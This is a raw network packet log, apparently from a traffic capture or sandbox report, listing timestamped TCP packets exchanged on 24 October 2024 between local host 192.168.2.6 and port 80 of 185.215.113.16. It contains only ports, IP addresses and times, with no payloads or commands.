Oct 24, 2024 04:57:28.501830101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.501843929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.501852989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.501879930 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.532655001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.532666922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.532725096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.532735109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.532741070 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.532785892 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.573970079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.573987961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.573997974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.574039936 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.621156931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.621195078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.621229887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.621260881 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.621282101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.621283054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.621318102 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.621351957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.621364117 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.621390104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.621418953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.621443033 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.652029991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.652045965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.652055979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.652086973 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.652129889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.693263054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.693273067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.693283081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.693293095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.693347931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.693382025 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.740089893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.740106106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.740175009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.740197897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.740209103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.740219116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.740228891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.740250111 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.740286112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.740561962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.740571976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.740614891 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.740690947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.740699053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.740731001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.771289110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.771300077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.771310091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.771363974 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.812577009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.812587976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.812597036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.812634945 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.812668085 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.812680006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.812690020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.812722921 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.859469891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.859507084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.859517097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.859555960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.859563112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.859568119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.859580040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.859591961 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.859596014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.859627008 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.859951973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.859962940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.859996080 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.890669107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.890702963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.890717983 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.890734911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.890853882 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.931772947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.931802988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.931849957 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.931854963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.931890011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.931974888 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.978708982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.978763103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.978790998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.978821993 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.978825092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.978859901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.978872061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.979077101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.979110956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.979146957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.979157925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.979201078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.979202032 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.009881973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.009921074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.009953976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.009984016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.010020018 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.051028013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.051038027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.051047087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.051079035 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.095846891 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.098081112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.098110914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.098159075 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.098159075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.098196030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.098226070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.098261118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.098269939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.098294973 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.249676943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.249731064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.249742985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.249756098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.249780893 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.249806881 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.249912024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.249928951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.249942064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.249953985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.249962091 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.249965906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.249979019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.249990940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.250001907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.250006914 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.250016928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.250027895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.250030994 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.250040054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.250044107 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.250051975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.250072956 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.250073910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.250094891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.250102043 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.250133038 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.290644884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.290683985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.290735960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.290738106 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.290767908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.290993929 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.337635994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.337671995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.337704897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.337738991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.337778091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.337826967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.337867022 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.337867022 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.338999987 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.367731094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.367763042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.367865086 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.409976959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.410016060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.410052061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.410134077 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.454127073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.454158068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.454171896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.454193115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.454246998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.454287052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.457020044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.457050085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.457061052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.457067966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.457093000 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.457108021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.457118034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.457125902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.457153082 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.502101898 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.529232979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.529284954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.529318094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.529375076 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.573481083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.573513031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.573546886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.573561907 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.573580027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.573596001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.627151966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.727963924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728050947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728085041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728105068 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.728120089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728154898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728168011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.728192091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728225946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728239059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.728261948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728349924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728399992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728401899 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.728450060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728486061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728496075 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.728522062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728529930 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.728557110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728590965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728598118 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.728626966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.728669882 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.729336023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.729370117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.729403973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.729448080 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.767689943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.767700911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.767745972 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.964952946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.964967012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.964977980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.965013981 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:29.965051889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.965064049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:29.965101957 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.051697969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.051713943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.051724911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.051736116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.051748991 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.051778078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.051861048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.051992893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.052031040 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.054039001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.054048061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.054083109 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.068178892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.068188906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.068229914 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.087784052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.087814093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.087867022 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.169586897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.169624090 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.169676065 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.174813986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.174843073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.174879074 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.174896955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.174926043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.174971104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.261884928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.261900902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.261915922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.261961937 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.261981964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.262023926 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.294229031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.294338942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.294373035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.294395924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.345880032 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.362047911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.362062931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.362164021 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.381429911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.381464958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.381500006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.381525993 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.413562059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.413615942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.413620949 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.413646936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.413680077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.413691998 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.455241919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.500629902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.500672102 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.500706911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.500725985 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.532926083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.532959938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.532980919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.532994986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.533037901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.578093052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.578125000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.578181982 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.619808912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.619837999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.619888067 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.619940042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.619967937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.620055914 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.652245045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.652281046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.652314901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.652322054 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.705234051 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.739176035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.739211082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.739244938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.739255905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.771524906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.771541119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.771555901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.771572113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.771585941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.771594048 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.771600962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.771635056 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.771671057 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.858413935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.858438015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.858455896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.858491898 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.890762091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.890793085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.890830040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.890866041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.890882015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.890904903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.890913010 CEST	80	49774	185.215.113.16	192.168.2.6
